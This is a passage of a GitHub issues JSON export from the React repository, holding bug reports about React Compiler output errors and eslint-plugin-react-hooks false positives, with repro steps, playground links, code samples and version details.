repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgMIwQQwBcFN9M4IBbABwgDsE7DM79KEATTAZQE9KARhAA2AHToAzKHTiEAlvR78hwgBQBKTMHGZMeQrDqYAPBzkA3AHwBJUpVJLBI8lVoMmxtGasBucQF9xcQxMAFUwEjlmOSMAQWpqcQQAD1oYZg4ECXwoYWYpGXlFeOoNLR09BAMYI1UK3VMLS3rdEwALAEZLACUCWRxXOWEEGEwAISgAc0xe6hgIDihZBTpPTuajVoa+J2FMNA2tz29DzHU-On8QABoQCkk5SZQQORoIdMxCXmoSYEwABWEUxiAHlqEU6GBMP5MBJ5vYAOQCfACBDCAC01CBkxi6Lw+Fk6IoNCGIy8cjAhARF3Eqm0mwwxOoQyIKwAsgsEMhMKIQPhhGIQAFMGBWWAJHIEFDAcC6GCIWBzjdwG0IAB3axMEasYRgFDZXUIfxAA\n\n### Repro steps\n\n1. Configure a React app to run React Compiler.\n2. Create a component named `Symbol`.\n3. Run the app.\n\nThe issue relates to the fact that React Compiler generates output with a call to `Symbol.for`. As shown in the playground link, if a component is in scope with the name `Symbol`, the compiler-generated code tries to call the `for` method on the React component rather than `globalThis.Symbol`. This results in the runtime error \"Symbol.for is not a function\".\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.3\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35379/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35553 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35372", "id": 3735180553, "node_id": "I_kwDOAJy2Ks7eolUJ", "number": 35372, "title": "Bug: Fiber Scheduler Overhead Under Heavy Suspense Trees", "user": { "login": "shareefmx", "id": 106791424, "node_id": "U_kgDOBl2CAA", "avatar_url": "https://avatars.githubusercontent.com/u/106791424?v=4", "gravatar_id": "", "url": "https://api.github.com/users/shareefmx", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-12-16T15:02:49Z", "updated_at": "2025-12-16T15:02:49Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Large Suspense boundaries create nested work units that increase reconciliation time due to excessive yielding.\nA micro-optimization in beginWork to short‑circuit noop boundaries would reduce UI stalls in concurrent mode.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35372/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35350", "id": 3721148000, "node_id": "I_kwDOAJy2Ks7dzDZg", "number": 35350, "title": "[Compiler Bug]: 'use no memo' does not apply recursively", "user": { "login": "yepitschunked", "id": 125177, "node_id": "MDQ6VXNlcjEyNTE3Nw==", "avatar_url": "https://avatars.githubusercontent.com/u/125177?v=4", "gravatar_id": "", "url": "https://api.github.com/users/yepitschunked", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-12-11T22:16:39Z", "updated_at": "2025-12-11T22:16:39Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwGEJKoBbOgGTIAjBJTAAKYPhIQI+AL4BKfMAA6bfAHIoYBPjpyeCHhE0BudfnxxWYAp259BIygCUEdYjAQx8AXnxJfCEyXyV-AD4VSyt8b1xYNgAeQiYANwjgEJh5JIB6VIyLDXliq3jEji5eAWFRd08fH2L5EAAaEBs6EiYAcxQQJh5sPHxcAE9MPSkABW5epjoAeUxmWwVpGAgeLRCXAFpMecX97zJGfZthpkofAqY7c3V1SRi8vKvMG7I1ugBZCDEZD4VQgMiUSig9TyfBgH4PHoIMD4OZQBbLVYsOhgRRmdrgAAWEAA7gBJOi4Hx0cFgFDkMQIeRAA\n\n### Repro steps\n\n1. Write a render prop function which happens to contain nested functions with component-like names\n2. Enable react compiler\n3. App crashes due to hook errors because the render prop function got compiled. (This is expected behavior)\n4. Try to fix the problem by applying 'use no memo' to the toplevel function\n5. Nested function continues to be compiled; 'use no memo' needs to be applied to *all* nested component-like function names\n\nAs a side note, the [component-hook-factories](https://react.dev/reference/eslint-plugin-react-hooks/lints/component-hook-factories) rule does not detect this error: https://eslint-online-playground.netlify.app/#eNp9U01P4zAQ/Ssjn4rUJvcuVCuxu9rDSou4Yg5uMikJjh38gYqi/HfGHykpVFziyczzzHtvkpFZU5V4FP0gsegs27LGq8q1WsGdMKjc6gpGrgBO6dunVtZzFqAsoSiKEE9chcOg80bBdcRBufvBVay0/aCNgxEqqRX+lthTd5igMboHzgyKynEWkHiMyBob4aVbTNbS9+qf2KO0qxEarWHKPCqtrFsC7lHVaNDADRB0L0yA3uxm1jPJun3djVSdrssQElfSEZ8ZcaFlEMTWDK1slStoctMeknUniUS9VXgbSx8S040y3eCM+uQLnZ0hPzOms8t69Oav1s/2TvpDq84bboaY3ETU5inAgo+fXFxSWgWBD8mJzmYJtjBY6Z62UmO9TsXsFrnhJdrtxzvAi9cupB6IhjHacLYmRrX2e4mcPeYG5GaO5vOzltP0Rgp3gQJ3NJQ77qRQBy8O+H8IH0MiE/LcDcJYNF/z3GHViz8oaJOZ/VzgrrPHLTjjkebMucDxPEpn4v7I1RXthFY/iOqZmNDStaK1R1c4c28DKd9S1Oua/CJHUqHG1184BFGqapGWczLyfOHhKpmAlv6DWX3e8bfFix/AEp//zolN7yFnXC0=\n\nWe ran into this while compiling a project that uses react-virtualized. react-virtualized takes a [render prop](https://github.com/bvaughn/react-virtualized/blob/c737715486f724586aee8870ebea1e9efb7b0bfe/docs/Table.md#headerrowrenderer) which gets called as a function rather than rendered as a component. Our render prop function crashed when it got compiled and passed into this prop. \n\n\n\n\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n18.3.1\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35350/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35349", "id": 3721066700, "node_id": "I_kwDOAJy2Ks7dyvjM", "number": 35349, "title": "Bug: Can't really access component stack `errorInfo.componentStack` on server", "user": { "login": "brillout", "id": 1005638, "node_id": "MDQ6VXNlcjEwMDU2Mzg=", "avatar_url": "https://avatars.githubusercontent.com/u/1005638?v=4", "gravatar_id": "", "url": "https://api.github.com/users/brillout", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-12-11T21:46:21Z", "updated_at": "2025-12-11T21:46:21Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 19.2.2\n\nOn the server-side, upon a boundary error, the component stack can be accessed via `onError(err, errorInfo) => errorInfo.componentStack` but this has limited (no?) value because the general recommendation is to swallow boundary errors and let the client-side throw the error instead (if it fails again on the client-side).\n\nThe real value AFAICT would be to access the component stack upon shell errors, but I don't see a way to access `error.componentStack`:\n- The `onShellError()` callback of [`renderToPipeableStream()`](https://react.dev/reference/react-dom/server/renderToPipeableStream) doesn't receive `errorInfo.componentStack`.\n- Shell errors thrown while [`renderToReadableStream()`](https://react.dev/reference/react-dom/server/renderToReadableStream) also seem to be missing `errorInfo.componentStack`.\n\n## Context\n\nI'm the author of [`react-streaming`](https://github.com/brillout/react-streaming) which powers [`vike-react`](https://vike.dev/vike-react) amongst others.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35349/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35342", "id": 3717831344, "node_id": "I_kwDOAJy2Ks7dmZqw", "number": 35342, "title": "[Compiler Bug]: React Compiler incorrectly hoists inner function outside closure, breaking variable reference", "user": { "login": "purpletortoise-choi", "id": 11069488, "node_id": "MDQ6VXNlcjExMDY5NDg4", "avatar_url": "https://avatars.githubusercontent.com/u/11069488?v=4", "gravatar_id": "", "url": "https://api.github.com/users/purpletortoise-choi", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-12-11T05:31:32Z", "updated_at": "2025-12-23T08:39:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAygJ4B2cAogB54IzUCGANuXrggQL4EAZjAgYCAchgI2cPBIA61JQgY58BOBGphCcaW2YBxDhABGnbrwIBeAgB4AKgD4AFGmpo8aTgDVOUAjIBI4AlLbOREoEBBwIhLq8wY62BB5ePhz+HIFK0ZraurFougjULGCp5QDuBOTx9q7hNpEAbhBoACZuoXnUMVo6CVBmYPpoZnx2rhwlzOUwwU0RBO1dzZHA+TGzpQtgAHRsnZ0zc2Usvf0xBNJ4sP3LLVHXN8V7FQedCHHMZx8wK5vfj5EHKa6DIpkPBWaSpVxQLCdQwsJauLDSVrBNjUSgbAg4vEEAA+BNx+K2rzSQgIrjwlCwCAgNMRyOYMFsNjsEiEUFo3m0EnClLeMUScLsrJRMFc4oQQJugh+ZBeooIctSUvZ2wEfTeu3mnyEuDosgAFq5XHAzPjrU0FWD8pDCABzeKwqa0ik6u4PdU8aSgvUFIYkMge+HeqnO-0ozXhmj0JgsdhcAMIJxuMAjMYwCYIAA0BDdMPTVx1Meh3Dj0y1qNp6MxyXxYRJISjaqr6YRSOlCpijqpvtYBAA2roUUWuyiALoEyrOoPgmLD-rEUgUdNFkseqfu9O66hgkAFkCDIRoF0odDYXCEemMogEAAKORdHgA8lgBToBMJROIEgWJMHAALRYG+HigQYcigVo2BoHEMAAPSdHMEgANx9K4IoEMhyHwVgiGGGg2gALIQN8wQKCAnAcDRSiCGAJFgBeCCVK+UDvtQX4-mAoQYSe4BmhA1QAJLUOyqZgCgQicGQ-BAA\n\n### Repro steps\n\nHi,\n\n I found an issue while adopting React Compiler and wanted to report it.\n\n ### Original Source Code\n ```typescript\n import { useSyncExternalStore } from 'react'\n\n export const createGlobalStore = (initialValue: T) => {\n let store: T = initialValue\n\n const listeners = new Set<() => void>()\n\n const subscribe = (listener: () => void) => {\n listeners.add(listener)\n return () => {\n listeners.delete(listener)\n }\n }\n\n const setStore = (updater: ((prev: any) => any) | any) => {\n if (typeof updater === 'function') {\n store = updater(store)\n } else {\n store = updater\n }\n\n listeners.forEach((cb) => cb())\n }\n\n const getStore = () => {\n return store\n }\n\n const useStore = () => {\n const state = useSyncExternalStore(subscribe, getStore)\n\n const setState = (updater: ((prev: T) => T) | T) => {\n setStore(updater)\n }\n\n return [state, setState] as const\n }\n\n return { useStore, getStore, setStore }\n }\n\n Compiled Output\n\n import __vite__cjsImport0_react_compilerRuntime from\n \"/node_modules/.vite-bizprofile-webview/deps/react_compiler-runtime.js?v=e0557d73\";\n const _c = __vite__cjsImport0_react_compilerRuntime[\"c\"];\n import __vite__cjsImport1_react from \"/node_modules/.vite-bizprofile-webview/deps/react.js?v=e0557d73\";\n const useSyncExternalStore = __vite__cjsImport1_react[\"useSyncExternalStore\"];\n export const createGlobalStore = (initialValue) => {\n let store = initialValue;\n const listeners = /* @__PURE__ */\n new Set();\n const subscribe = (listener) => {\n listeners.add(listener);\n return () => {\n listeners.delete(listener);\n }\n ;\n }\n ;\n const setStore2 = (updater) => {\n if (typeof updater === \"function\") {\n store = updater(store);\n } else {\n store = updater;\n }\n listeners.forEach( (cb) => cb());\n }\n ;\n const getStore = () => {\n return store;\n }\n ;\n const useStore = () => {\n const $ = _c(3);\n if ($[0] !== \"fa62d2894ba91e5b72b8903a58ed08db2e221dc337d30b892bb5c3f5e1dd73b5\") {\n for (let $i = 0; $i < 3; $i += 1) {\n $[$i] = Symbol.for(\"react.memo_cache_sentinel\");\n }\n $[0] = \"fa62d2894ba91e5b72b8903a58ed08db2e221dc337d30b892bb5c3f5e1dd73b5\";\n }\n const state = useSyncExternalStore(subscribe, getStore);\n const setState = _temp;\n let t0;\n if ($[1] !== state) {\n t0 = [state, setState];\n $[1] = state;\n $[2] = t0;\n } else {\n t0 = $[2];\n }\n return t0;\n }\n ;\n return {\n useStore,\n getStore,\n setStore: setStore2\n };\n }\n ;\n function _temp(updater) {\n setStore(updater);\n }\n\n Problem\n\n The compiler hoists the setState function to module scope as _temp, but:\n\n 1. The original setStore variable inside the closure is renamed to setStore2\n 2. The hoisted _temp function still references setStore (the original name)\n 3. Since _temp is outside the closure, it cannot access setStore2\n 4. This results in ReferenceError: setStore is not defined at runtime\n\n This error occurs in both local development and production builds.\n\n Environment\n\n - vite: 7.2.2\n - react: 19.2.0\n - react-dom: 19.2.0\n - babel-plugin-react-compiler: 1.0.0\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n19.2.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35342/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35326", "id": 3706755311, "node_id": "I_kwDOAJy2Ks7c8Jjv", "number": 35326, "title": "[Compiler Bug]: False positive on \"Hooks may not be referenced as normal values, they must be called\"", "user": { "login": "oliverlaz", "id": 843172, "node_id": "MDQ6VXNlcjg0MzE3Mg==", "avatar_url": "https://avatars.githubusercontent.com/u/843172?v=4", "gravatar_id": "", "url": "https://api.github.com/users/oliverlaz", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-08T14:56:54Z", "updated_at": "2026-01-23T03:03:07Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABFMBANQEMAbKBXAXlwAoBKGgPn0IFkEBbCOxl3ABYATABpcAbQC6DANwAdDOix4AFhAgBrMDVzA2xcpVwBfBRkXKcuAGIkAlmR21+1VsEW5cVvPoKGKKhNddS0wcy8fXAA3Iypaf1JAxgjcGARsWAxcAB4wAAcSDGZgWMCTHIB6AqLmRRNFS0xrAHUIGG1dV3dPb2bfAyTKZBjTEI1tVKiy41polN70zJhsvMLi0riK6vW6jAaMEFE0TAAzewBzFBB7Lnz2vGwAT3yqfQAFCgv7DAB5fOw9maY1OMAgXFwAHIAEYkaEIMgAWnyXx+iPSJDg2ER6DujgQMEqABN7DhIeZFHQPPtcGASICwOcEDpPlBvn8AUCsHIjuB1AB3ACSGGwBIw5DAKFOEoQJiAA\n\n### Repro steps\n\nThe React Compiler doesn't correctly flag improper hook usage, when using a \"hooks provider\".\nAlthough the hook is always called, React Compiler fails with the following message:\n```\n Hooks may not be referenced as normal values, they must be called.\n```\n\nIt seems the fact that the hook variable name starts with `use_` is causing the compiler assume its usage.\n```tsx\nconst useValue = () => useMemo(() => 42, []);\nconst hooks = { useValue };\n\nconst Fails = () => {\n const { useValue } = hooks;\n const value = useValue();\n // ^^^^^^^^ Hooks may not be referenced as normal values, they must be called.\n return {value}\n}\n\nconst Works = () => {\n const { useValue: v } = hooks;\n const value = v(); // works as expected\n return {value}\n}\n```\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.1\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35326/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35319", "id": 3703926048, "node_id": "I_kwDOAJy2Ks7cxW0g", "number": 35319, "title": "[Compiler Bug]: Cannot reassign component props", "user": { "login": "otomad", "id": 56647156, "node_id": "MDQ6VXNlcjU2NjQ3MTU2", "avatar_url": "https://avatars.githubusercontent.com/u/56647156?v=4", "gravatar_id": "", "url": "https://api.github.com/users/otomad", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-07T20:20:42Z", "updated_at": "2026-01-03T15:44:34Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwGEIBbbOhO3AApg+EhAgAafACMyMfAF8AlPmAAdNviYl8ggIRiI+AGTH8e2TBXrN+UePwBefGpCHXAbg12FG7-hgEXFg2QX87AB5CJgA3AD5wu1UAQRgYMgBPADoSGG5hfEp+AHNcAAtkfABmRSlBAH0pJhVHOPwo2PwAawQMx2AmBTjgQwUIgHpo+KVfW3bJ2ITNJS86BRAJEDhWEiZilBAmHhwCXAzMBFV8AAVKKGKmOgB5TGZWMEVRPK58AHJZaQISgAWkwdwedGBgTIjGB2x4TCKMAWYFwv1WGmE-nG43hmERZDedAAshBiJVXGRKJRXBoFPgwISmGBdggPrd7o8XkSwCsNuAyhAAO4ASQECBgdCpYBQ5EoYAQCiAA\n\n### Repro steps\n\nIf you want to reassign props (not modify), and use them in a callback function, React Compiler will skip compiling the component. For example:\n\n```jsx\nexport default function Component({ foo, bar }) {\n\tif (!foo && !bar) {\n\t\tfoo = \"foo\";\n\t}\n\n\treturn (\n\t\t
\n\t\t\t{Array.from({ length: 3 }, (_, i) =>
{foo}
)}\n\t\t
\n\t);\n}\n```\n\nI got this error:\n> Todo: Support destructuring of context variables\n\nYou can also replace the if statement `if (!foo && !bar) { foo = \"foo\"; }` with the content itself `foo = \"foo\";`, that will also trigger the issue, however it is meaningless.\n\nThe modified prop must in a callback, directly use it will work fine. For example, `
{foo}
` works fine, and `
{(() => foo)()}
` raise an issue.\n\nI think the code above should be automatically converted into the code below which can work properly. Although I can also use the code below directly, it will only cause more trouble.\n\n```jsx\nexport default function Component({ foo: _foo, bar }) {\n\tlet foo = _foo;\n\tif (!foo && !bar) {\n\t\tfoo = \"foo\";\n\t}\n\n\treturn (\n\t\t
\n\t\t\t{Array.from({ length: 3 }, (_, i) =>
{foo}
)}\n\t\t
\n\t);\n}\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.1\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35319/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35283", "id": 3692477988, "node_id": "I_kwDOAJy2Ks7cFr4k", "number": 35283, "title": "Bug: eslint-plugin-react-hooks not throwing \"Hooks may not be referenced as normal values\" error", "user": { "login": "jsladerman", "id": 28611154, "node_id": "MDQ6VXNlcjI4NjExMTU0", "avatar_url": "https://avatars.githubusercontent.com/u/28611154?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jsladerman", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-04T01:33:51Z", "updated_at": "2026-01-04T23:28:20Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 19.2.\n\n## Steps To Reproduce\n\n1. The expected behavior screenshot shows when my repo had eslint-plugin-react-compiler@beta and [email protected] installed. [Per the React Compiler v1.0 announcement](https://react.dev/blog/2025/10/07/react-compiler-1#migrating-from-eslint-plugin-react-compiler-to-eslint-plugin-react-hooks), I removed eslint-plugin-react-compiler, bumped eslint-plugin-react-hooks to the latest version (7.0.1), and made the eslint config changes accordingly. All other rules, including the new ones, seem to work as expected, except this one seems to have disappeared (I only noticed because our codebase has many instances of this that we've been planning to fix at some point before enabling the compiler). Is this a bug or is this no longer meant to throw a lint error, since it does [explicitly break the rules of React](https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values) ? \n\n## The current behavior\n\"Image\"\n\n## The expected behavior\n\"Image\"", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35283/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35276", "id": 3690531416, "node_id": "I_kwDOAJy2Ks7b-QpY", "number": 35276, "title": "Bug: react-hooks/set-state-in-effect: false-positive with ternary", "user": { "login": "silverwind", "id": 115237, "node_id": "MDQ6VXNlcjExNTIzNw==", "avatar_url": "https://avatars.githubusercontent.com/u/115237?v=4", "gravatar_id": "", "url": "https://api.github.com/users/silverwind", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2025-12-03T14:40:30Z", "updated_at": "2025-12-15T13:58:50Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: [email protected], [email protected]\n\n## Steps To Reproduce\n\n```tsx\nfunction getWidth(el: HTMLElement) {\n return el.clientWidth;\n}\n\nfunction Component({value}: {value: string}) {\n const [width, setWidth] = useState(0);\n const ref = useRef(null);\n\n useEffect(() => {\n setWidth(ref.current ? getWidth(ref.current) : 0);\n// ^^^^^^^^^^^^ Avoid calling setState() directly within an effect\n }, [value]);\n\n return
{value}{width}
;\n}\n```\n\nChanging the line to `setWidth(getWidth(ref.current));` makes the error go away, so it seems the presence of the ternary operator is confusing the rule.\n\n## The current behavior\n\nError is raised.\n\n\n## The expected behavior\n\nNo error to be raised.\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35276/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35271", "id": 3688353608, "node_id": "I_kwDOAJy2Ks7b189I", "number": 35271, "title": "Bug: `progressiveChunkSize` forcing streaming SSR breaks html file integrity and `onAllReady` behavior", "user": { "login": "SoonIter", "id": 79413249, "node_id": "MDQ6VXNlcjc5NDEzMjQ5", "avatar_url": "https://avatars.githubusercontent.com/u/79413249?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SoonIter", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { 